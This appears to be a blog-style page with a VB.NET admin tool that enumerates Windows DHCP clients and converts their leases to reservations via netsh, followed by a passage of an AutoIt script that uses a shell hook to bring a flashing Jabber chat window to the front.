Imports System.Runtime.InteropServices
Public Class Form1
'http://social.msdn.microsoft.com/Forums/en-US/512c7fc3-fb32-4081-a8c2-451883abe9fb/dhcpclientinfovq-bclienttype
Declare Unicode Function DhcpEnumSubnetClients Lib "dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As UInt32, ByRef ResumeHandle As IntPtr, ByVal PreferredMaximum As Integer, ByRef ClientInfo As IntPtr, ByRef ClientsRead As Integer, ByRef ClientsTotal As Integer) As Integer
<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
Public Shared Function DhcpSetClientInfo( _
ByVal ServerIpAddress As String, _
ByVal ClientInfo As IntPtr) As UInt32
End Function
<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
Public Shared Function DhcpSetClientInfoV4( _
ByVal ServerIpAddress As String, _
ByVal ClientInfoV4 As IntPtr) As UInt32
End Function
<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
Public Shared Function DhcpGetClientInfo( _
ByVal ServerIpAddress As String, _
ByRef SearchInfo As DHCP_SEARCH_INFO, _
ByRef ClientInfo As IntPtr) As UInt32
End Function
<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
Public Shared Function DhcpSetClientInfoVQ( _
ByVal ServerIpAddress As String, _
ByVal ClientInfo As IntPtr) As UInt32
End Function
<StructLayout(LayoutKind.Sequential)> _
Private Structure DHCP_IP_ARRAY
Dim NumElements As Int32
Dim Elements As IntPtr
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure DHCP_CLIENT_INFO_ARRAY
Dim NumElements As Integer
Dim Clients As IntPtr
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure DHCP_CLIENT_INFO
Dim ClientIpAddress As UInt32
Dim SubnetMask As UInt32
Dim ClientHardwareAddress As DHCP_BINARY_DATA
<MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String
<MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String
Dim ClientLeaseExpires As MyDate_Time
Dim OwnerHost As DHCP_HOST_INFO
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure DHCP_CLIENT_INFOV4
Dim ClientIpAddress As UInt32
Dim SubnetMask As UInt32
Dim ClientHardwareAddress As DHCP_BINARY_DATA
<MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String
<MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String
Dim ClientLeaseExpires As MyDate_Time
Dim OwnerHost As DHCP_HOST_INFO
Dim bClientType As DHCP_CLIENT_TYPE
End Structure
<StructLayout(LayoutKind.Sequential)> _
Public Structure DHCP_CLIENT_INFO_ARRAY_VQ
Dim NumElements As Integer
Dim Clients As IntPtr
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure DHCP_CLIENT_INFO_VQ
Dim ClientIpAddress As UInt32
Dim SubnetMask As UInt32
Dim ClientHardwareAddress As DHCP_BINARY_DATA
<MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String
<MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String
Dim ClientLeaseExpires As MyDate_Time
Dim OwnerHost As DHCP_HOST_INFO
Dim bClientType As DHCP_CLIENT_TYPE
Dim AddressState As Byte
Dim Status As DHCP_QuarantineStatus
Dim ProbationEnds As MyDate_Time
Dim QuarantineCapable As Boolean
End Structure
Enum DHCP_CLIENT_TYPE As Byte
CLIENT_TYPE_DHCP = 1
CLIENT_TYPE_BOOTP = 2
CLIENT_TYPE_BOTH = 3
CLIENT_TYPE_RESERVATION_FLAG = 4
CLIENT_TYPE_NONE = &H64
End Enum
Enum DHCP_AddressState As Byte
CLIENT_TYPE_DHCP = 1
CLIENT_TYPE_BOOTP = 2
CLIENT_TYPE_BOTH = 3
CLIENT_TYPE_RESERVATION_FLAG = 4
CLIENT_TYPE_NONE = &H64
End Enum
Enum DHCP_QuarantineStatus As Byte
NOQUARANTINE = 0
RESTRICTEDACCESS = 1
DROPPACKET = 2
PROBATION = 3
EXEMPT = 4
DEFAULTQUARSETTING = 5
NOQUARINFO = 6
End Enum
<StructLayout(LayoutKind.Sequential)> _
Structure DHCP_DATE_TIME
Dim dwLowDateTime As Integer
Dim dwHighDateTime As Integer
End Structure
<StructLayout(LayoutKind.Sequential)> _
Structure DHCP_BINARY_DATA
Dim DataLength As Int32
Dim Data As IntPtr
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure MyDate_Time
<MarshalAs(UnmanagedType.U4)> _
Dim dwLowDateTime As UInt32
<MarshalAs(UnmanagedType.U4)> _
Dim dwHighDateTime As UInt32
Public Function ConvertIntToDateTime() As DateTime
If dwHighDateTime = 0 And dwLowDateTime = 0 Then Return DateTime.MinValue
If dwHighDateTime = Int32.MaxValue And dwLowDateTime = UInt32.MaxValue Then Return DateTime.MaxValue
Dim value As Long = dwHighDateTime
value <<= 32
value += dwLowDateTime
Return DateTime.FromFileTime(value)
End Function
Public Sub SetToReserved()
dwLowDateTime = 0
dwHighDateTime = 0
'Return DateTime.FromFileTime(value)
End Sub
Public Sub SetToInfinte()
dwLowDateTime = 4294967295
dwHighDateTime = 2147483647
'Return DateTime.FromFileTime(value)
End Sub
End Structure
<StructLayout(LayoutKind.Sequential)> _
Structure DHCP_HOST_INFO
Dim IpAddress As Int32
<MarshalAs(UnmanagedType.LPWStr)> _
Dim NetBiosName As String
<MarshalAs(UnmanagedType.LPWStr)> _
Dim HostName As String
End Structure
''' <summary>
''' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''' DHCP SERVER STRUCTS
''' </summary>
''' <remarks></remarks>
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
Public Structure DHCPDS_SERVER
Dim Version As UInt32
Dim ServerName As String
Dim ServerAddress As UInt32
Dim Flags As UInt32
Dim State As UInt32
Dim DsLocation As String
Dim DsLocType As UInt32
End Structure
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
Public Structure DHCPDS_SERVERS
Dim Flags As UInt32
Dim NumElements As UInt32
Dim Servers As IntPtr
End Structure
Declare Unicode Function DhcpEnumServers Lib "Dhcpsapi.dll" (ByVal Flags As UInt32, _
ByVal IdInfo As IntPtr, _
ByRef Servers As IntPtr, _
ByVal CallbackFn As IntPtr, _
ByVal CallbackData As IntPtr) As UInt32
''' <summary>
''' Sumery
''' </summary>
''' <returns></returns>
''' <remarks></remarks>
'''
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
Public Structure DHCP_IP_ADDRESS
Dim IPAddress As UInteger
End Structure
''' <summary>
''' Sumery
''' </summary>
''' <returns></returns>
''' <remarks></remarks>
'''
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Public Structure DHCP_SUBNET_INFO
Public SubnetAddress As UInteger
Public SubnetMask As UInteger
Public SubnetName As String
Public SubnetComment As String
'Public PrimaryHost As DHCP_HOST_INFO
Public SubnetState As DHCP_SUBNET_STATE
End Structure
Public Enum DHCP_SUBNET_STATE
DhcpSubnetEnabled = 0
DhcpSubnetDisabled = 1
DhcpSubnetEnabledSwitched = 2
DhcpSubnetDisabledSwitched = 3
DhcpSubnetInvalidState = 4
End Enum
Public Declare Unicode Function DhcpGetSubnetInfo Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As Integer, ByRef SubnetInfo As DHCP_SUBNET_INFO) As Integer
Public Declare Unicode Function DhcpEnumSubnets Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByRef ResumeHandle As Integer, ByVal PreferredMaximum As Integer, ByRef EnumInfo As IntPtr, ByRef ElementsRead As Integer, ByRef ElementsTotal As Integer) As Integer
Dim HowManyClients As Long = 0
Dim HowManyClientsAreAlreadyReserved As Long = 0
Dim HowManyClientsAreNeedToBechanged As Long = 0
Dim HowManyClientsHaveBadAddresses As Long = 0
Dim MachinesThatWillChange As String = vbNullString
Dim MachinesThatWillNotChange As String = vbNullString
Dim ServerIPAddress As String = "10.10.10.10"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim ts = Stopwatch.StartNew
' Your code goes here
EnumAll()
Debug.WriteLine("How many clients: " & HowManyClients)
Debug.WriteLine("How many clients are already reserved: " & HowManyClientsAreAlreadyReserved)
Debug.WriteLine("How many clients need to be changed: " & (HowManyClientsAreNeedToBechanged - HowManyClientsHaveBadAddresses))
Debug.WriteLine("How many clients have bad addresses: " & HowManyClientsHaveBadAddresses)
Debug.WriteLine("-----------------------------------------------------------------------")
Debug.WriteLine("Machines that will change")
Debug.WriteLine(MachinesThatWillChange)
Debug.WriteLine("-----------------------------------------------------------------------")
Debug.WriteLine("Machines that will NOT change")
Debug.WriteLine(MachinesThatWillNotChange)
' Format and display the TimeSpan value.
Dim myelapsedTime As String = String.Format("{0:00}:{1:00}:{2:00}.{3:00}", ts.Elapsed.Hours, ts.Elapsed.Minutes, ts.Elapsed.Seconds, ts.Elapsed.Milliseconds / 10)
Debug.WriteLine("RunTime " & myelapsedTime)
'EnumServers()
'GetSubnets("10.10.10.10")
'ListSubnetClients("10.10.10.10", "10.10.10.100")
'CompareFirewallRules()
'GetClientInfo("10.10.10.10", "10.10.10.100")
End Sub
Public Function GetSubnets(ByVal ServerIp As String) As String()
Dim StringsToReturn() As String
Dim ServerIpAddress = ServerIp
Dim DHCPResult As UInt32 = 0
Dim IPS As IntPtr
Dim nr As UInteger = 0
Dim Total As UInteger = 0
Dim resumehandle As UInteger = 0
DHCPResult = DhcpEnumSubnets(ServerIpAddress, resumehandle, 1000, IPS, nr, Total)
If DHCPResult = 0 Then
Dim iparray As DHCP_IP_ARRAY = CType(Marshal.PtrToStructure(IPS, GetType(DHCP_IP_ARRAY)), DHCP_IP_ARRAY)
Dim Size As Integer = iparray.NumElements
Dim outArray As IntPtr = iparray.Elements
Dim ipAddressesArray(Size) As DHCP_IP_ADDRESS
Array.Resize(StringsToReturn, Size + 1)
Dim current As IntPtr = outArray
For i = 0 To Size
ipAddressesArray(i) = New DHCP_IP_ADDRESS
ipAddressesArray(i) = CType(Marshal.PtrToStructure(current, GetType(DHCP_IP_ADDRESS)), DHCP_IP_ADDRESS)
Marshal.DestroyStructure(current, GetType(DHCP_IP_ADDRESS))
current = current + Marshal.SizeOf(ipAddressesArray(i))
Debug.WriteLine(i & " " & IPConvert(ipAddressesArray(i).IPAddress))
StringsToReturn(i) = IPConvert(ipAddressesArray(i).IPAddress)
Next
Marshal.FreeCoTaskMem(outArray)
Debug.WriteLine("Elements read " & nr & " out of " & Total)
Else
Debug.WriteLine("Failed!")
End If
Return StringsToReturn
End Function
Public Function getSubNetInfo(ByVal Subnet As Integer) As Integer
Dim Result As DHCP_SUBNET_INFO
Dim code As Integer
Try
code = DhcpGetSubnetInfo("10.10.10.10", Subnet, Result)
msgbox(Result.SubnetName)
Catch
msgbox(Err.Description)
End Try
End Function
Public Shared Function EnumServers() As DHCPDS_SERVER()
Dim retVal As UInt32 = 0
Dim servers As IntPtr
Try
DhcpEnumServers(0, Nothing, servers, Nothing, Nothing)
Catch ex As Exception
Throw New Exception("Error code: " & retVal.ToString, ex)
End Try
If retVal = 0 And servers <> IntPtr.Zero Then
Dim serverArray As DHCPDS_SERVERS = _
CType(Marshal.PtrToStructure(servers, GetType(DHCPDS_SERVERS)), DHCPDS_SERVERS)
Dim serverList(CType(serverArray.NumElements, Int32)) As DHCPDS_SERVER
Dim current As IntPtr = serverArray.Servers
For i As Int32 = 0 To CType(serverArray.NumElements - 1, Int32)
serverList(i) = CType(Marshal.PtrToStructure(current, GetType(DHCPDS_SERVER)), DHCPDS_SERVER)
Debug.WriteLine("ServerName: " & serverList(i).ServerName)
Debug.WriteLine("ServerAddress: " & serverList(i).ServerAddress)
Debug.WriteLine("ServerState: " & serverList(i).State)
Debug.WriteLine("ServerVersion: " & serverList(i).Version)
Debug.WriteLine("ServerDsLocation: " & serverList(i).DsLocation)
Debug.WriteLine("ServerDsLocType: " & serverList(i).DsLocType)
Debug.WriteLine("ServerFlags: " & serverList(i).Flags)
Debug.WriteLine(vbCrLf & vbCrLf)
Marshal.DestroyStructure(current, GetType(DHCPDS_SERVER))
current = IntPtr.op_Explicit(current.ToInt64() + Marshal.SizeOf(serverList(i)))
Next
Marshal.FreeCoTaskMem(servers)
Return serverList
ElseIf retVal = 0 And servers = IntPtr.Zero Then
Throw New Exception("No servers found.")
Else
Throw New Exception("Error code: " & retVal.ToString)
End If
End Function
Public Sub ListSubnetClients(ByVal ServerIP As String, ByVal SubnetIP As String)
Dim Client_Array As DHCP_CLIENT_INFO_ARRAY
Dim DHCP_Clients() As DHCP_CLIENT_INFO
' Why would you use int16 for a loop counter and for a pointer offset ?
Dim i, j As Int16
Dim pt As IntPtr
Dim Read_Clients, Total_Clients As Int32
Dim Error_Code As Int32
Dim Rem_Handle As IntPtr
Dim Scope_I As UInt32
'Scope_I = "10.0.3.0"
Scope_I = StringIPAddressToUInt32(SubnetIP) ' Dot2LongIP(SubnetIP)
'Call dhcpsapi
Error_Code = DhcpEnumSubnetClients(ServerIP, Scope_I, Rem_Handle, 65537, pt, Read_Clients, Total_Clients)
Client_Array = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO_ARRAY))
ReDim DHCP_Clients(Client_Array.NumElements - 1)
Dim MacAddr As Net.NetworkInformation.PhysicalAddress
For i = 0 To Client_Array.NumElements - 1
pt = Marshal.ReadIntPtr(Client_Array.Clients, j)
DHCP_Clients(i) = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO))
'MacAddr = Net.NetworkInformation.PhysicalAddress.Parse(DHCP_Clients(i).ClientHardwareAddress.Data)
'If HardwareAddress = "ec-30-91-d5-f0-a6" Then
'System.Diagnostics.Debugger.Break()
'ElseIf HardwareAddress.StartsWith("ec-30-91") Then
'System.Diagnostics.Debugger.Break()
'End If
Dim IsClientReserved As Boolean
If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 4294967295 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 2147483647 Then
IsClientReserved = True
Else
IsClientReserved = False
End If
Dim IsClientInActivelyReserved As Boolean
If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 0 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 0 Then
IsClientInActivelyReserved = True
Else
IsClientInActivelyReserved = False
End If
Dim HardwareAddress As String = String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))
Dim NetShHardwareAddress As String = String.Format("{0:x2}{1:x2}{2:x2}{3:x2}{4:x2}{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))
Debug.WriteLine("ClientComment: " & DHCP_Clients(i).ClientComment)
Debug.WriteLine("ClientIpAddress: " & IPConvert(DHCP_Clients(i).ClientIpAddress))
Debug.WriteLine("ClientHardwareAddress: " & HardwareAddress)
Debug.WriteLine("ClientLeaseExpires: " & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime)
Debug.WriteLine("ClientName: " & DHCP_Clients(i).ClientName)
Debug.WriteLine("OwnerHoost->HostName: " & DHCP_Clients(i).OwnerHost.HostName)
Debug.WriteLine("OwnerHost->IpAddress: " & IPConvert(DHCP_Clients(i).OwnerHost.IpAddress))
Debug.WriteLine("OwnerHost->NetBiosName: " & DHCP_Clients(i).OwnerHost.NetBiosName)
Debug.WriteLine("SubnetMask: " & UInt32IPAddressToString(DHCP_Clients(i).SubnetMask))
'ConvertTolease
'IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.246.36.101" And
If (Not IsClientReserved And Not IsClientInActivelyReserved) Then
Dim MyArgs As String = vbNullString
If Not IsNothing(DHCP_Clients(i).ClientComment) Then
Select Case DHCP_Clients(i).ClientComment.Trim
Case ""
MyArgs = "dhcp server 10.10.10.10 Scope " & SubnetIP.ToString.Trim & " Add reservedip " & IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim & " " & NetShHardwareAddress.ToString & " """ & DHCP_Clients(i).ClientName & """ ""Set for InfoBlox"" DHCP"
Case "This address is already in use"
HowManyClientsHaveBadAddresses += 1
Case Else
MyArgs = "dhcp server 10.10.10.10 Scope " & SubnetIP.ToString.Trim & " Add reservedip " & IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim & " " & NetShHardwareAddress.ToString & " """ & DHCP_Clients(i).ClientName & """ """ & DHCP_Clients(i).ClientComment.ToString.Trim & """ DHCP"
End Select
Else
MyArgs = "dhcp server 10.10.10.10 Scope " & SubnetIP.ToString.Trim & " Add reservedip " & IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim & " " & NetShHardwareAddress.ToString & " """ & DHCP_Clients(i).ClientName & """ ""Set for InfoBlox"" DHCP"
End If
If MyArgs IsNot Nothing Then
Debug.WriteLine("netsh " & MyArgs)
Dim MyProcess As New Process
MyProcess = Process.Start("netsh", MyArgs)
MyProcess.WaitForExit()
MachinesThatWillChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & vbCrLf
HowManyClientsAreNeedToBechanged += 1
Else
MachinesThatWillNotChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & "," & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime & vbCrLf
Debug.WriteLine("This unit has a BAD Address - Skipping")
End If
Else
MachinesThatWillNotChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & "," & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime & vbCrLf
Debug.WriteLine("No NETSH command required")
HowManyClientsAreAlreadyReserved += 1
End If
Debug.WriteLine(vbCrLf & vbCrLf)
pt = IntPtr.Zero
j = j + 4
HowManyClients += 1
Next i
End Sub
Private Sub ConvertTolease(ByVal DHCP_Clients() As DHCP_CLIENT_INFO, ByVal I As Integer)
If IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.10.10.10" And False Then
Dim DHCPv4 As New DHCP_CLIENT_INFOV4
DHCPv4.bClientType = DHCP_CLIENT_TYPE.CLIENT_TYPE_BOTH
DHCPv4.ClientComment = DHCP_Clients(i).ClientComment
DHCPv4.ClientHardwareAddress = DHCP_Clients(i).ClientHardwareAddress
DHCPv4.ClientIpAddress = DHCP_Clients(i).ClientIpAddress
DHCPv4.ClientLeaseExpires = DHCP_Clients(i).ClientLeaseExpires
DHCPv4.ClientName = DHCP_Clients(i).ClientName
DHCPv4.OwnerHost = DHCP_Clients(i).OwnerHost
DHCPv4.SubnetMask = DHCP_Clients(i).SubnetMask
'Dim MyPtrr As IntPtr = Marshal.AllocHGlobal(Marshal.SizeOf(New DHCP_CLIENT_INFOV4))
'DHCPv4.ClientLeaseExpires.SetToReserved()
'DHCPv4.ClientLeaseExpires.SetToInfinte()
'Marshal.StructureToPtr(DHCPv4, MyPtrr, False)
'Debug.WriteLine("Lease Updated: " & DhcpSetClientInfo(ServerIP, MyPtrr))
'Debug.WriteLine("Lease Updated: " & DhcpSetClientInfoV4(ServerIP, MyPtrr))
End If
End Sub
''' <summary>
'''
''' </summary>
''' <param name="sender"></param>
''' <param name="e"></param>
''' <remarks></remarks>
'''
Public Structure DHCP_SEARCH_INFO
Dim DHCPSearchInfoType As Integer
Dim DHCPIPAddress As UInt32
End Structure
Private Enum DHCP_SEARCH_INFO_TYPE
DhcpClientIpAddress
DhcpClientHardwareAddress
DhcpClientName
End Enum
Public Function GetClientInfo(ByVal serverIP As String, ByVal clientIP As String)
Dim DHCPResult As UInt32 = 0
Try
Dim searchInfo As New DHCP_SEARCH_INFO
Dim searchInfoType As DHCP_SEARCH_INFO_TYPE = DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress
searchInfo.DHCPSearchInfoType = searchInfoType
searchInfo.DHCPIPAddress = Dot2LongIP(clientIP)
Dim hClientInfo As IntPtr
DHCPResult = DhcpGetClientInfo(serverIP, searchInfo, hClientInfo)
If DHCPResult = 0 And Not hClientInfo = IntPtr.Zero Then
Dim clientInfo As DHCP_CLIENT_INFO = Marshal.PtrToStructure(hClientInfo, GetType(DHCP_CLIENT_INFO))
Debug.WriteLine("ClientInfo->clientInfo.ClientHardwareAddress " & String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 1), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 2), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 3), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 4), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 5)))
Debug.WriteLine("ClientInfo->clientInfo.ClientIpAddress " & IPConvert(clientInfo.ClientIpAddress))
Debug.WriteLine("ClientInfo->clientInfo.ClientLeaseExpires " & clientInfo.ClientLeaseExpires.ConvertIntToDateTime)
Debug.WriteLine("ClientInfo->clientInfo.ClientName " & clientInfo.ClientName)
Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->HostName " & clientInfo.OwnerHost.HostName)
Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->IpAddress " & IPConvert(clientInfo.OwnerHost.IpAddress))
Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->NetBiosName " & clientInfo.OwnerHost.NetBiosName)
Debug.WriteLine("ClientInfo->clientInfo.SubnetMask " & clientInfo.SubnetMask)
Debug.WriteLine("ClientInfo->clientInfo.ClientComment " & clientInfo.ClientComment)
Return (clientInfo)
End If
Return Nothing
Catch ex As Exception
Console.WriteLine(ex.Message)
Return Nothing
End Try
End Function
Private Sub EnumAll()
Dim ListOfSubnets As String() = GetSubnets(ServerIPAddress)
For Each Subnet As String In ListOfSubnets
If Subnet = "0.0.0.0" Then
Exit Sub
End If
If Subnet = "10.246.10.0" Or True Then
ListSubnetClients(ServerIPAddress, Subnet)
End If
Next
End Sub
Public Sub CompareFirewallRules()
Dim FileContents = GetFileContents("\\fileshare1\ISStaff\Network\KDB\Config\EMC-ASA.txt")
Dim h As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName)
For Each IPString As System.Net.IPAddress In h.AddressList
'Debug.WriteLine(IPString.ToString)
If InStr(FileContents, IPString.ToString) > 0 Then
'Debug.WriteLine(IPString.ToString & " - IP Found in Firewall Rules")
TextBox1.Text += IPString.ToString & " - IP Found in Firewall Rules"
End If
Next
If TextBox1.Text = vbNullString Then TextBox1.Text = "No Firewall Rules Found!"
End Sub
Public Shared Function StringIPAddressToUInt32(ByVal ip_string As String) As UInteger
Dim IpA As Net.IPAddress = System.Net.IPAddress.Parse(ip_string)
Dim ip_bytes As Byte() = IpA.GetAddressBytes()
Dim ip_uint As UInteger = CUInt(ip_bytes(0)) << 24
ip_uint += CUInt(ip_bytes(1)) << 16
ip_uint += CUInt(ip_bytes(2)) << 8
ip_uint += CUInt(ip_bytes(3))
Return ip_uint
End Function
Public Shared Function UInt32IPAddressToString(ByVal ipAddress As UInteger) As String
Dim ipA As New Net.IPAddress(ipAddress)
Dim sIp As String() = ipA.ToString().Split("."c)
Return sIp(3) & "." & sIp(2) & "." & sIp(1) & "." & sIp(0)
End Function
Public Function Dot2LongIP(ByVal DottedIP As String) As Integer
Dim arrDec() As String
Dim i As Integer
Dim intResult As Integer
If DottedIP = "" Then
Dot2LongIP = 0
Else
arrDec = DottedIP.Split(".")
For i = arrDec.Length - 1 To 0 Step -1
intResult = intResult + ((Int(arrDec(i)) Mod 256) * Math.Pow(256, 3 - i))
Next
Dot2LongIP = intResult
End If
End Function
Public Function IPConvert(ByVal IPAddress As Object) As Object
Dim x As Integer
Dim Pos As Integer
Dim PrevPos As Integer
Dim Num As Integer
If IsNumeric(IPAddress) Then
IPConvert = "0.0.0.0"
For x = 1 To 4
Num = Int(IPAddress / 256 ^ (4 - x))
IPAddress = IPAddress - (Num * 256 ^ (4 - x))
If Num > 255 Then
IPConvert = "0.0.0.0"
Exit Function
End If
If x = 1 Then
IPConvert = Num
Else
IPConvert = IPConvert & "." & Num
End If
Next
ElseIf UBound(Split(IPAddress, ".")) = 3 Then
' On Error Resume Next
For x = 1 To 4
Pos = InStr(PrevPos + 1, IPAddress, ".", 1)
If x = 4 Then Pos = Len(IPAddress) + 1
Num = Int(Mid(IPAddress, PrevPos + 1, Pos - PrevPos - 1))
If Num > 255 Then
IPConvert = "0"
Exit Function
End If
PrevPos = Pos
IPConvert = ((Num Mod 256) * (256 ^ (4 - x))) + IPConvert
Next
End If
End Function
Public Function GetFileContents(ByVal FullPath As String, Optional ByRef ErrInfo As String = "") As String
Dim strContents As String
Dim objReader As System.IO.StreamReader
Try
objReader = New System.IO.StreamReader(FullPath)
strContents = objReader.ReadToEnd()
objReader.Close()
Return strContents
Catch Ex As Exception
ErrInfo = Ex.Message
End Try
End Function
End Class
Autoit – Making Jabber Chat client take Focus when Toolbar is flashing
#include <GuiConstants.au3>
#include <Misc.au3>
#include <GuiconstantsEx.au3>
#include <WindowsConstants.au3>
#include <ListBoxConstants.au3>
#include <SendMessage.au3>
#NoTrayIcon
Opt("GUICloseOnESC", 0)
Opt("GUIOnEventMode", 1)
Opt("WinWaitDelay", 0)
;Global Const $WM_SYSCOMMAND = 0x0112
;Global Const $LBS_NOINTEGRALHEIGHT = 0x1000
Global Const $SC_MOVE = 0xF010
Global Const $SC_SIZE = 0xF000
Global Const $SC_CLOSE = 0xF060
;ShellHook notification codes:
Global Const $HSHELL_WINDOWCREATED = 1;
Global Const $HSHELL_WINDOWDESTROYED = 2;
Global Const $HSHELL_ACTIVATESHELLWINDOW = 3;
Global Const $HSHELL_WINDOWACTIVATED = 4;
Global Const $HSHELL_GETMINRECT = 5;
Global Const $HSHELL_REDRAW = 6;
Global Const $HSHELL_TASKMAN = 7;
Global Const $HSHELL_LANGUAGE = 8;
Global Const $HSHELL_SYSMENU = 9;
Global Const $HSHELL_ENDTASK = 10;
Global Const $HSHELL_ACCESSIBILITYSTATE = 11;
Global Const $HSHELL_APPCOMMAND = 12;
Global Const $HSHELL_WINDOWREPLACED = 13;
Global Const $HSHELL_WINDOWREPLACING = 14;
Global Const $HSHELL_RUDEAPPACTIVATED = 32772;
Global Const $HSHELL_FLASH = 32774;
Global $bHook = 1
;GUI stuff:
Global $iGuiW = 50, $iGuiH = 50, $sTitle = "Jabber Monitor by Nicholas Hall", $aBtnText[2] = ["START", "STOP"]
$hGui = GUICreate($sTitle, $iGuiW, $iGuiH, -1, 0, $WS_POPUP+$WS_BORDER, $WS_EX_TOPMOST)
GUISetOnEvent($GUI_EVENT_CLOSE, "SysEvents")
GUISetOnEvent($GUI_EVENT_PRIMARYDOWN, "SysEvents")
GUIRegisterMsg($WM_SYSCOMMAND, "On_WM_SYSCOMMAND")
$cBtnMini = GUICtrlCreateButton("v", $iGuiW-$iGuiH, 0, $iGuiH/2, $iGuiH/2)
GUICtrlSetOnEvent(-1, "CtrlEvents")
GUICtrlSetTip(-1, "Minimize")
$cBtnClose = GUICtrlCreateButton("X", $iGuiW-$iGuiH/2, 0, $iGuiH/2, $iGuiH/2)
GUICtrlSetOnEvent(-1, "CtrlEvents")
GUICtrlSetTip(-1, "Exit")
$cBtnHook = GUICtrlCreateButton("", $iGuiW-$iGuiH, $iGuiH/2, $iGuiH, $iGuiH/2)
GUICtrlSetData(-1, $aBtnText[$bHook])
GUICtrlSetTip(-1, "Hook/Unhook Jabber")
GUICtrlSetOnEvent(-1, "CtrlEvents")
;$cList = GUICtrlCreateList("", 0, 0, $iGuiW-$iGuiH-1, $iGuiH, $LBS_NOINTEGRALHEIGHT+$WS_VSCROLL)
GUICtrlSetOnEvent(-1, "CtrlEvents")
;Hook stuff:
GUIRegisterMsg(RegisterWindowMessage("SHELLHOOK"), "HShellWndProc")
ShellHookWindow($hGui, $bHook)
GUISetState()
While 1
Sleep(1000)
WEnd
Func SysEvents()
Switch @GUI_CtrlId
Case $GUI_EVENT_CLOSE
Exit
Case $GUI_EVENT_PRIMARYDOWN
;CTRL + Left click to drag GUI
If _IsPressed("11") Then
DllCall("user32.dll", "int", "ReleaseCapture")
DllCall("user32.dll", "int", "SendMessage", "hWnd", $hGui, "int", 0xA1, "int", 2, "int", 0)
EndIf
EndSwitch
EndFunc
Func CtrlEvents()
Switch @GUI_CtrlId
Case $cBtnMini
GUISetState(@SW_MINIMIZE)
Case $cBtnClose
_SendMessage($hGui, $WM_SYSCOMMAND, $SC_CLOSE, 0)
Case $cBtnHook
